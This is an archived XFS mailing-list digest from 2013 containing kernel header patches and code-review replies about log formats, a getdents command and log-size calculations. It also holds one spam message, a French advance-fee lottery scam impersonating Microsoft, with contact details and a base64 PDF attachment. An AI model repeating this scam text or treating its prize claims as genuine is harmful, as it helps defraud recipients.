xfs_efd_log_format_64_t; > - > - > -#ifdef __KERNEL__ > - > /* > * Max number of extents in fast allocation path. > */ > @@ -160,6 +78,4 @@ int xfs_efi_copy_format(xfs_log_iovec_t *buf, > xfs_efi_log_format_t *dst_efi_fmt); > void xfs_efi_item_free(xfs_efi_log_item_t *); > > -#endif /* __KERNEL__ */ > - > #endif /* __XFS_EXTFREE_ITEM_H__ */ > diff --git a/fs/xfs/xfs_log_format.h b/fs/xfs/xfs_log_format.h > index 77a6024..d1e93d3 100644 > --- a/fs/xfs/xfs_log_format.h > +++ b/fs/xfs/xfs_log_format.h > @@ -461,4 +461,87 @@ xfs_blft_from_flags(struct xfs_buf_log_format *blf) > return (blf->blf_flags & XFS_BLFT_MASK) >> XFS_BLFT_SHIFT; > } > > +/* > + * EFI/EFD log format definitions > + */ > +typedef struct xfs_extent { > + xfs_dfsbno_t ext_start; > + xfs_extlen_t ext_len; > +} xfs_extent_t; > + > +/* > + * Since an xfs_extent_t has types (start:64, len: 32) > + * there are different alignments on 32 bit and 64 bit kernels. > + * So we provide the different variants for use by a > + * conversion routine. > + */ > +typedef struct xfs_extent_32 { > + __uint64_t ext_start; > + __uint32_t ext_len; > +} __attribute__((packed)) xfs_extent_32_t; > + > +typedef struct xfs_extent_64 { > + __uint64_t ext_start; > + __uint32_t ext_len; > + __uint32_t ext_pad; > +} xfs_extent_64_t; > + > +/* > + * This is the structure used to lay out an efi log item in the > + * log. The efi_extents field is a variable size array whose > + * size is given by efi_nextents. > + */ > +typedef struct xfs_efi_log_format { > + __uint16_t efi_type; /* efi log item type */ > + __uint16_t efi_size; /* size of this item */ > + __uint32_t efi_nextents; /* # extents to free */ > + __uint64_t efi_id; /* efi identifier */ > + xfs_extent_t efi_extents[1]; /* array of extents to free */ > +} xfs_efi_log_format_t; > + > +typedef struct xfs_efi_log_format_32 { > + __uint16_t efi_type; /* efi log item type */ > + __uint16_t efi_size; /* size of this item */ > + __uint32_t efi_nextents; /* # extents to free */ > + __uint64_t efi_id; /* efi identifier */ > + xfs_extent_32_t efi_extents[1]; /* array of extents to free */ > +} __attribute__((packed)) xfs_efi_log_format_32_t; > + > +typedef struct xfs_efi_log_format_64 { > + __uint16_t efi_type; /* efi log item type */ > + __uint16_t efi_size; /* size of this item */ > + __uint32_t efi_nextents; /* # extents to free */ > + __uint64_t efi_id; /* efi identifier */ > + xfs_extent_64_t efi_extents[1]; /* array of extents to free */ > +} xfs_efi_log_format_64_t; > + > +/* > + * This is the structure used to lay out an efd log item in the > + * log. The efd_extents array is a variable size array whose > + * size is given by efd_nextents; > + */ > +typedef struct xfs_efd_log_format { > + __uint16_t efd_type; /* efd log item type */ > + __uint16_t efd_size; /* size of this item */ > + __uint32_t efd_nextents; /* # of extents freed */ > + __uint64_t efd_efi_id; /* id of corresponding efi */ > + xfs_extent_t efd_extents[1]; /* array of extents freed */ > +} xfs_efd_log_format_t; > + > +typedef struct xfs_efd_log_format_32 { > + __uint16_t efd_type; /* efd log item type */ > + __uint16_t efd_size; /* size of this item */ > + __uint32_t efd_nextents; /* # of extents freed */ > + __uint64_t efd_efi_id; /* id of corresponding efi */ > + xfs_extent_32_t efd_extents[1]; /* array of extents freed */ > +} __attribute__((packed)) xfs_efd_log_format_32_t; > + > +typedef struct xfs_efd_log_format_64 { > + __uint16_t efd_type; /* efd log item type */ > + __uint16_t efd_size; /* size of this item */ > + __uint32_t efd_nextents; /* # of extents freed */ > + __uint64_t efd_efi_id; /* id of corresponding efi */ > + xfs_extent_64_t efd_extents[1]; /* array of extents freed */ > +} xfs_efd_log_format_64_t; > + > #endif /* __XFS_LOG_FORMAT_H__ */ > From bfoster@redhat.com Tue Jul 23 10:04:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D7EE97F3F for ; Tue, 23 Jul 2013 10:04:47 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 745C2AC005 for ; Tue, 23 Jul 2013 08:04:44 -0700 (PDT) X-ASG-Debug-ID: 1374591882-04bdf0245c3114c0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id ysNwYIX6xRu41dma for ; Tue, 23 Jul 2013 08:04:43 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6NF4gJd001874 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 23 Jul 2013 11:04:42 -0400 Received: from laptop.bfoster (vpn-63-213.rdu2.redhat.com [10.10.63.213]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6NF4fQR014728 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Tue, 23 Jul 2013 11:04:42 -0400 Message-ID: <51EE9AC9.2050306@redhat.com> Date: Tue, 23 Jul 2013 11:01:29 -0400 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: Zach Brown CC: xfs@oss.sgi.com Subject: Re: [PATCH] xfsprogs/io: add getdents command References: <1373567034-7534-1-git-send-email-bfoster@redhat.com> <20130715183845.GS25414@lenny.home.zabbo.net> X-ASG-Orig-Subj: Re: [PATCH] xfsprogs/io: add getdents command In-Reply-To: <20130715183845.GS25414@lenny.home.zabbo.net> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1374591882 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 07/15/2013 02:38 PM, Zach Brown wrote: >> +ifeq ($(PKG_PLATFORM),linux) >> +CFILES += getdents.c >> +endif > > I'd make a real test for getdents() rather than tying it to Linux. Just > copy what's done for sync_file_range :). > Having a look back, I think a reason why I avoided this was I didn't have a libc interface for getdents. Perhaps there's still a way to test that, but I'm also wondering if this would be more broadly useful if I just converted it over to generic readdir(). Thoughts? Brian >> +struct linux_dirent { >> + unsigned long d_ino; /* Inode number */ >> + unsigned long d_off; /* Offset to next linux_dirent */ >> + unsigned short d_reclen; /* Length of this linux_dirent */ >> + char d_name[]; /* Filename (null-terminated) */ >> +}; > > If we're only going to use one syscall interface, I'd use getdents64(). > > struct linux_dirent64 { > u64 d_ino; > s64 d_off; > unsigned short d_reclen; > unsigned char d_type; > char d_name[0]; > }; > > But it could also be useful to see the native 'long' interface for 32bit > apps, though, say if you're trying to debug ext4 htree d_off values > which are magically truncated for 32bit compat tasks. > >> +static void >> +dump_dir_buffer( >> + struct linux_dirent *dirp, >> + long long offset, >> + long long length) >> +{ >> + while (length > 0) { >> + printf("%08llx: 0x%lx (%s)\n", >> + offset, dirp->d_ino, dirp->d_name); >> + >> + offset = dirp->d_off; >> + length -= dirp->d_reclen; >> + >> + dirp = (struct linux_dirent *) ((char *) dirp + dirp->d_reclen); >> + } >> +} > > You could also print out d_type. In getdents64() it's a proper struct > member, in the bad old 'long' interface it's hidden in padding after the > null in d_name. > > It'd be nice to see d_off for the last entry. btrfs, for example, sets > it to CRAZY and that can be good to know. In the past it has caused > 32bit glibc to return -EOVERFLOW when reading entries from getdents64() > whose d_off overflowed 32bit off_t. > > Interestingly, notice that with getdents() you don't know what the > offset of the first entry is. You just know the offset that you started > reading from and the offset of the next entry. > > - z > (*throws another bag of nickels in the readdir-design-disaster jar*) > From bpm@sgi.com Tue Jul 23 10:07:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BE3D27F4E for ; Tue, 23 Jul 2013 10:07:27 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6BE84304067; Tue, 23 Jul 2013 08:07:24 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 230B54266DC; Tue, 23 Jul 2013 10:07:24 -0500 (CDT) Date: Tue, 23 Jul 2013 10:07:24 -0500 From: Ben Myers To: Markus Trippelsdorf Cc: Mark Tinguely , xfs-oss , Dave Chinner Subject: Re: [PATCH v2] xfs: di_flushiter considered harmful Message-ID: <20130723150724.GH3111@sgi.com> References: <1374488304-13044-1-git-send-email-david@fromorbit.com> <20130722110732.GA365@x4> <51ED4471.7050708@sgi.com> <20130722151542.GB365@x4> <51ED8C73.50306@sgi.com> <20130723104259.GB360@x4> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130723104259.GB360@x4> User-Agent: Mutt/1.5.20 (2009-06-14) Hi Markus, On Tue, Jul 23, 2013 at 12:42:59PM +0200, Markus Trippelsdorf wrote: > On 2013.07.22 at 14:48 -0500, Mark Tinguely wrote: > > On 07/22/13 10:15, Markus Trippelsdorf wrote: > > > On 2013.07.22 at 09:40 -0500, Mark Tinguely wrote: > > >> On 07/22/13 06:07, Markus Trippelsdorf wrote: > > >>> On 2013.07.22 at 20:18 +1000, Dave Chinner wrote: > > >> It seems to me that since we cannot fix this for inode 1/2, then besides > > >> this patch we have to revert patch cca9f93a52d and make it inode 3+ / > > >> superblock 5+ (crc) dependent. > > > > > > Which is exactly what the hunk I've posted does. > > > > > > Here's the combined patch: > > > > Following Dave's instruction to recreate this problem, your patch works > > with an inode 2 and inode 3 (once I remembered to load the module before > > recovery). Dave's patch was successful on inode 3 - again after I > > remembered to load the module before recovery. > > > > Whomever makes the formal patch, consider it reviewed-by me. > > To get this patch to Linus ASAP, here's the combined patch again. > Please apply. > Thanks. I'd prefer to have Dave take another look at the combined patch before pulling this in. Even so, we shouldn't have any trouble getting this into -rc3. Thanks, Ben From tinguely@sgi.com Tue Jul 23 10:15:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 49E377F52 for ; Tue, 23 Jul 2013 10:15:30 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 17E99304067; Tue, 23 Jul 2013 08:15:29 -0700 (PDT) Message-ID: <51EE9E11.8000508@sgi.com> Date: Tue, 23 Jul 2013 10:15:29 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 41/49] xfs: Add xfs_log_rlimit.c References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-42-git-send-email-david@fromorbit.com> In-Reply-To: <1374215120-7271-42-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/19/13 01:25, Dave Chinner wrote: > From: Jie Liu > > Add source files for xfs_log_rlimit.c The new file is used for log > size calculations and validation shared with userspace. > > [dchinner: xfs_log_calc_max_attrsetm_res() does not modify the > tr_attrsetm reservation, just calculates the maximum. ] > > [dchinner: rework loop in xfs_log_get_max_trans_res() ] > > Signed-off-by: Jie Liu > Signed-off-by: Dave Chinner > --- > + if (lsunit) > + min_logblks = roundup(BTOBB(max_logres), lsunit) + 2 * lsunit; > + else > + min_logblks = BTOBB(max_logres); ^^ The space is not really needed when using the below multiplier, but add the 2 * BBSIZE size just to be consistent? > + min_logblks *= XFS_MIN_LOG_FACTOR; ^^ okay, a 3 times multiplier of the max transaction and an additional log stripe unit padding will more than make up for all my CIL/CTX concerns. Reviewed-by: Mark Tinguely From remise.prix2@orange.fr Tue Jul 23 10:15:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.4 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,FREEMAIL_REPLYTO_END_DIGIT,HTML_MESSAGE,MISSING_HEADERS, T_CDISP_SZ_MANY,T_FREEMAIL_DOC_PDF,T_HK_SPAMMY_FILENAME autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1FCA57F58 for ; Tue, 23 Jul 2013 10:15:41 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0CAAC8F8050 for ; Tue, 23 Jul 2013 08:15:37 -0700 (PDT) X-ASG-Debug-ID: 1374592534-04cb6c2a46105a7c0001-NocioJ Received: from smtp.smtpout.orange.fr (smtp10.smtpout.orange.fr [80.12.242.132]) by cuda.sgi.com with ESMTP id 4e4KADjuPojmd7bD for ; Tue, 23 Jul 2013 08:15:34 -0700 (PDT) X-Barracuda-Envelope-From: remise.prix2@orange.fr X-Barracuda-Apparent-Source-IP: 80.12.242.132 Received: from wwinf1d11 ([10.232.29.54]) by mwinf5d45 with ME id 3rFZ1m0041A3NgA03rFZZy; Tue, 23 Jul 2013 17:15:33 +0200 Date: Tue, 23 Jul 2013 17:15:32 +0200 (CEST) From: REMISE PRIX Reply-To: REMISE PRIX Cc: Alainto@micro.th Message-ID: <835947008.12103.1374592533126.JavaMail.www@wwinf1d11> Subject: =?UTF-8?Q?tr:_fwd:_tr:_RE_NEWS_I?= =?UTF-8?Q?NFOS_GAGNANT_(2013)=E2=80=8F=E2=80=8F=E2=80=8F=E2=80=8F?= MIME-Version: 1.0 X-ASG-Orig-Subj: =?UTF-8?Q?tr:_fwd:_tr:_RE_NEWS_I?= =?UTF-8?Q?NFOS_GAGNANT_(2013)=E2=80=8F=E2=80=8F=E2=80=8F=E2=80=8F?= Content-Type: multipart/mixed; boundary="----=_Part_12102_1570509755.1374592532777" X-Originating-IP: [217.150.244.110] X-WUM-FROM: |~| X-WUM-CC: |~| X-WUM-CCI: |~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~||~| X-WUM-REPLYTO: |~| X-Barracuda-Connect: smtp10.smtpout.orange.fr[80.12.242.132] X-Barracuda-Start-Time: 1374592534 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 1.21 X-Barracuda-Spam-Status: No, SCORE=1.21 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, MISSING_HEADERS X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137257 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.21 MISSING_HEADERS Missing To: header 0.00 HTML_MESSAGE BODY: HTML included in message ------=_Part_12102_1570509755.1374592532777 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit ------=_Part_12102_1570509755.1374592532777 Content-Type: message/rfc822; name=microsoft.eml content-transfer-encoding: 7bit Content-Disposition: attachment; size=442323; size=442465; filename=microsoft.eml Subject: Date: Mon, 22 Jul 2013 17:44:17 +0100 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0008_01CE8703.215DCC50" X-Priority: 3 X-MSMail-Priority: Normal X-Unsent: 1 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6157 This is a multi-part message in MIME format. ------=_NextPart_000_0008_01CE8703.215DCC50 Content-Type: multipart/alternative; boundary="----=_NextPart_001_0009_01CE8703.215DCC50" ------=_NextPart_001_0009_01CE8703.215DCC50 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ----- Original Message -----=20 Sent: Monday, July 22, 2013 5:18 PM E-mail A=20 votre attention Monsieur/Madame Nous vous contactons pour vous informer que=20 vous venez de gagner au tirage au sort organis=E9 par notre compagnie = MICROSOFT=20 BILL GATES. Vous trouverez sur le document en fichier joint des = renseignements=20 d=E9taill=E9s sur le gain. Pour entrer en possession du gain, veuillez adresser=20 un mail de reconnaissance de gain =E0 l'huissier=20 :=20 Maitre=20 CHAUVEAU JEAN FRANCOIS.=20 E -mail: me.chauveau.jfc@hotmail.fr TEL: (00225) 44 40 87 22=20 Recevez toutes les f=E9licitations du groupe MICROSOFT WINDOWS.=20 Mme. ISABELLE CHEVALIER Responsable=20 de la Campagne MICROSOFT WINDOWS. ------=_NextPart_001_0009_01CE8703.215DCC50 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
     
    ----- Original Message -----=20
    Sent: Monday, July 22, 2013 5:18 PM


    E-mail


    A
    votre = attention=20 Monsieur/Madame
    Nous vous contactons pour vous informer que
    vous = venez de=20 gagner au tirage au sort organis=E9 par notre compagnie MICROSOFT =
    BILL GATES.=20 Vous trouverez sur le document en fichier joint des renseignements =
    d=E9taill=E9s=20 sur le gain.
    Pour entrer en possession du gain, veuillez adresser =
    un mail=20 de reconnaissance de gain =E0 l'huissier =

    Maitre 

    CHAUVEAU JEAN=20 FRANCOIS. 
    E -mail: me.chauveau.jfc@hotmail.fr=
    TEL:  =20 (00225)  44 40 87 22
    Recevez toutes les=20 f=E9licitations du groupe MICROSOFT WINDOWS. 
    Mme. ISABELLE=20 CHEVALIER

    Responsable
    de = la=20 Campagne
    MICROSOFT WINDOWS.

    ------=_NextPart_001_0009_01CE8703.215DCC50-- ------=_NextPart_000_0008_01CE8703.215DCC50 Content-Type: application/pdf; name="Microsoft.pdf" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Microsoft.pdf" JVBERi0xLjMNCiXi48/TDQoxIDAgb2JqDQo8PC9UeXBlL1BhZ2UvUmVzb3VyY2VzPDwvRXh0R1N0 YXRlPDwvR1M1IDIgMCBSL0dTMTYgMyAwIFI+Pi9YT2JqZWN0PDwvSW1hZ2U3IDQgMCBSL0ltYWdl OSA1IDAgUi9JbWFnZTExIDYgMCBSL0ltYWdlMTMgNyAwIFIvSW1hZ2UxNyA4IDAgUi9JbWFnZTE4 IDkgMCBSL0ltYWdlMTkgMTAgMCBSL0ltYWdlNDIgMTEgMCBSPj4vUGF0dGVybjw8L1A2IDEyIDAg Ui9QOCAxMyAwIFIvUDEwIDE0IDAgUi9QMTIgMTUgMCBSPj4vRm9udDw8L0YxIDE2IDAgUi9GMiAy MCAwIFIvRjMgMjMgMCBSL0Y0IDI3IDAgUi9GNSAzMSAwIFIvRjYgMzUgMCBSL0Y3IDQyIDAgUi9G OCA0NiAwIFIvRjkgNDkgMCBSPj4vUHJvY1NldFsvUERGL1RleHQvSW1hZ2VCL0ltYWdlQy9JbWFn ZUldPj4vTWVkaWFCb3hbMCAwIDU5NS4zMjAgODQxLjkyMF0vQ29udGVudHMgNTcgMCBSL0dyb3Vw PDwvVHlwZS9Hcm91cC9TL1RyYW5zcGFyZW5jeS9DUy9EZXZpY2VSR0I+Pi9UYWJzL1MvU3RydWN0 UGFyZW50cyAwL0FydEJveFswIDAgNTk1LjMyMCA4NDEuOTIwXS9Dcm9wQm94WzAgMCA1OTUuMzIw IDg0MS45MjBdL1BhcmVudCAxMTUgMCBSPj4NCmVuZG9iag0KMiAwIG9iag0KPDwvVHlwZS9FeHRH U3RhdGUvQk0vTm9ybWFsL2NhIDE+Pg0KZW5kb2JqDQozIDAgb2JqDQo8PC9UeXBlL0V4dEdTdGF0 ZS9CTS9Ob3JtYWwvQ0EgMT4+DQplbmRvYmoNCjQgMCBvYmoNCjw8L1R5cGUvWE9iamVjdC9TdWJ0 eXBlL0ltYWdlL1dpZHRoIDI5OS9IZWlnaHQgNDcvQ29sb3JTcGFjZS9EZXZpY2VSR0IvQml0c1Bl ckNvbXBvbmVudCA4L0ludGVycG9sYXRlIGZhbHNlL0ZpbHRlci9GbGF0ZURlY29kZS9MZW5ndGgg MTE5Mj4+c3RyZWFtDQp4nO3TZ2yVVRzHcd/7wsTEGI1xG41GoxIXGLfiHsQ90Kgoce+Fe29x23t7 b3fphtJCW6ClhbLKplA2tEChpbRA2fPrOc9zby14IW267vidfF7e57nnOef/Je4Y4o4l7jjLczye E/CciOckPCfjOQXPqXhOw3s63jPxnoX3bLzn4D0X73nEn0/8BcRf6LgI38X4LsF3Kb5++C7Dfzn+ K/Bfif8q/P1JGEDC1SRcQ8K1JBrXk3gDiTeSdBNJN5N0C8kDSb6V5NtJvoOUO0m5i5S7Sb2H1Pus tEGk3U/aA6Q/5HiEEY8y4jEyHifjCTIGk/kkmU+R+TRZz5D1LNlDyH6O7OfJGUrOC+S+SO5L5L5M 3ivkvcrI1xj5OqPeYNSb5L9N/jvkv8vo9yh4n4IPKBhG4YcUfsyYTxj7KWM/p+gLir6k+CuKv6bk G0q+Zdx3jPue8T8y/icm/MyEXygdTumvlP3GxN+Z+Aflf1L+NxX/UBHHJA+TvEyOZ7KPSj9TEpiS yNQkpiYzLYVpqUxPY3o6MzKoyqQqi5nZzMphVi6z85g9kjmjmJPP3NHMLWBeIfPHMH8sC4pYUEx1 CdXjWGiMZ9EEFpVSU0bNRBaXs7iCJZNYOpmllSwzprB8KsunsWI6K2aw0qhi1Sxr9WxWz6F2rlU3 j7r5rFnAmmrWGgtZt8hRQ/1i6pew3ljKhmVWw3IaVliNK2lcxUZjtdVUS1OdtWmN1byW5nVWSz0t 663NGxwNbDEara0bHU20GpusbUazo4Xtrs3sMLYE7NzqaLV2GduCtrPbtcPaY+wM2mXtde0O2Gfs OdRe9re37z8HjP2hHODgYQ6GgOvQZXP7PwWoABVgrwToPaNjFKACVIA9EKCNqCsUoAJUgF0I0CbT jfopQAWoADsRoA2kR/XHP0ABKkAFGDrAxOv6glOfAlSACjBpYFiw9d2mABVgzAVo5jxMmfruJXWQ pQAVYLQGaKY6YjxI+sMOBagAoyVAO8ARbTAZbn0KUAFGYIBmXKPKEMutL3uoAlSA4R6gncxol2cE 61OACjCsArRzGINMesZbTn0KUAH2XYB26sRJr3CYw9T3kQJUgL0UoJ0xCekzioL1KUAF2EMBmnGS jnPTs35QgAqwGwI0wyNdYdMbTplTnwJUgJ0NsPwv6X4VwfoUoAI8eoCVPukVfioTAvUpQAXYtswA SF+x6Tn1KcCYDXBmloSHbEdOoD4FGCMBmsuVcGbTc+pTgFEZoL1KiSjVxY4Sa6ECjPAAa0ol8pUF 03PrU4CRE6C9I4lKwfRcCjA8A7Q3IrFghpNeVdBMBRgWAZrDl9hU62pLb54C7IMA7WmLtAmm51KA PR2gPViRI1kS4KbnUoDdGKB7hiKd1eimt1IBdinAjbUi3aCpTZ0C7ESA7uGI9JAWN716BRg6wMBp iPSWLQ3txHyAgW8X6TutTe3EWIDbm0XCScsRRGmAbV8kEkGiJsBdrSIRaNsRRFqA7j5FolL4B+ju SiRGhFuAbTsRiUF9HqD5OxFprzcDbP9+ETmKnggw9AtFpOO6EODhD4pI13U8wFC/FJFuFzJADopI Lzpk/QvJ8VO7DQplbmRzdHJlYW0NCmVuZG9iag0KNSAwIG9iag0KPDwvVHlwZS9YT2JqZWN0L1N1 YnR5cGUvSW1hZ2UvV2lkdGggMjk5L0hlaWdodCA0Ny9Db2xvclNwYWNlL0RldmljZVJHQi9CaXRz UGVyQ29tcG9uZW50IDgvSW50ZXJwb2xhdGUgZmFsc2UvRmlsdGVyL0ZsYXRlRGVjb2RlL0xlbmd0 aCAxNDMwPj5zdHJlYW0NCnic7dPnT5NrHMbxP8AXJibGaIzbaDQYR9zGvTdG3CvuuBX3pGXPIkP2 ElCQLSAbZG8ZZQtlyJK9p+u+eTjIQTieQls6rivfV0/bJ7+++Pz8OXA/fv4Yat9/fO/tn337/u1f 9az7W3f/urq7+tfZ3Unr6q2jq4PWSWvvbO+to72to42ptaO1tZ3W0t7S0kZrbmumtTY3tTYxNbY0 khpaGhqaafXN9aS6pjqm2sZaUk1jTU0Drbqhurq+uqq+qqqu6mvdV1JlbSWporaioqaivKa8vLq8 rLqstKqU9KXqS8nXElJxZTGpqKKosKKwsLyQV87jlfEKygryy/LzS/M/l37O+5KXV5KXW5KbU5KT U5yTXZydVZSVWZhJyuBlcHlcbgE3vSA9LT8tNT815XNKSl7Kp7xPybnJSblJSTlJCdkJ8dnx8Vnx cZlxsZmxMRkx0RnRUdyoqPSoyPTIiLSI8LTwj6kfw1LCQlNCQz6FBCcHByUHBSYFBiYGBiQG+Cf4 +8X7fYj/4Bvn6xPr4x3r/T7mvVe0l2e0p0eUh3uku1ukm2uEq0u4y7vwd84fnZ3CnN6EvnEMcXQI cbAPtn8d9NouyM420NYmwMY6wNrK38rSz9LCz8L8g7mZr5mpr6mJj4mxt7GRt5Hhe0MDL4OXni/1 PfU5Hhw9dz1dd10dNx0tNy1NV00NFw11F3W1d2qqzqoqTirKTsrst2ylt0ov3rx47vj8qePTJw5P Hts/fmT/6OHrhw/sHty3u3/P9p6ijeIdmzu3rW/fsr510+rmDasb1y2vX7O4dtXi6hXzK5fNL18y u3TR7OIF0wvnTc+fMzl31uTsmVdnThufPmV86qTxyRNGJ44bHT9meOyo4dHDBodJCi8VDuofPKB/ QF5fXp4jv4+zb6/e3j16e3br7d6lu2un7s7tOtu36WzbqrN1i/aWzdqbN2lt2qi1cYPWhnWa60hr Ndeu0VizWmP1Ko1VK9VXrlBfsVx9+TK1ZUvVli5RW7JYbfEi1UULVRcuUF0gpyonpyI3X2X+PJV5 c5XnzlGeM1t59izlWTOVZ85gz5jGnjaVPXUKe8pk9uRJrEkTWRMnsCaMZ40fxxo3VmksaYzSmD/8 ASAAAqAQAQ4IAAEQAIUEcDp7+l8DQAAEQIEA5CvyEyYABEAA5AsgNahKDY4k8gYmAARAABwKIDWo Tg0KLwAEQAAkABmD6zXXizgABEAZBLhDZwdjcJv2KAeAACjFAGmcA/s5+6lBzl4xDAABUJoAHjE4 QjpkcEjBQEEiAkAAlFCAZ4x/G5TcABAAJQIgNWjaa1CaAkAAFDeAvw1aXmMYSm7k/v8OAAFwdAGS 7treVbRVZBjKWgAIgCID+Mzx2VMHarCPIQJAABQWQGcVEjXoxGa9ZRGG6M8AEAAFAlDbTZsY1HLt ZYj+ZwAIgMMASA16UYP6HpQhGnYACIB/Bdhn8JXPKyTYABAA+wO0DaAGKUN/yhAJOwCUZYDUYKgj w5AWPOIE8hJhJOzDQoYZAMoOQLcIapBhyEhEox4ASitA7xhqkGGIxDYAlHiAPRGDlGGiP5WY4Ick JQCULIDUYGoYw5CRiCQ6ABRngDRuD0NuVCQ3kkhEUhYAignAxJzEhJwEwvC3xKw4JPUB4KgB7IkY ZErOSxbD+D1s0O8zDwd8NOhD4R081GHD+IOCDQBFAbAwg8Yw5HHTeelEIkIkABQ4QCaGIRPBiNCg AeAIATIxDBHiNwDkCyA1WFlEGCIkkABwKIBMpdWljESEhBEA9gHszxAh0SSjAJkYhgiNXrIAcEC1 TbUIiUnSBhAhiUqiAQ6ozyNCkpIEAURI+hJbgAjJQuICECGZTPQAEUJ9iQAgQmioBAwQIcRPIwSI YdhIxhdADMMEu8EBIoRE0i9B6HdqDQplbmRzdHJlYW0NCmVuZG9iag0KNiAwIG9iag0KPDwvVHlw ZS9YT2JqZWN0L1N1YnR5cGUvSW1hZ2UvV2lkdGggMjk5L0hlaWdodCA0Ny9Db2xvclNwYWNlL0Rl dmljZVJHQi9CaXRzUGVyQ29tcG9uZW50IDgvSW50ZXJwb2xhdGUgZmFsc2UvRmlsdGVyL0ZsYXRl RGVjb2RlL0xlbmd0aCA4NzE+PnN0cmVhbQ0KeJzt0wdXjgEAhuGfZetw7L03x6atXdIupUEioyga FGknUiGaRikqbQotQiStx/vWZx0dSt94x3Of6y/cAGPMYA0NEZG+cEAiA/pjwMFBItKeIdHYBxwY IKL/Miia4ID9/UT0LwMaWh+wr4+IftevoYcBe78SqdfXEX0a+h+w5wuRKnzp1ejtldCAn3uIFEv6 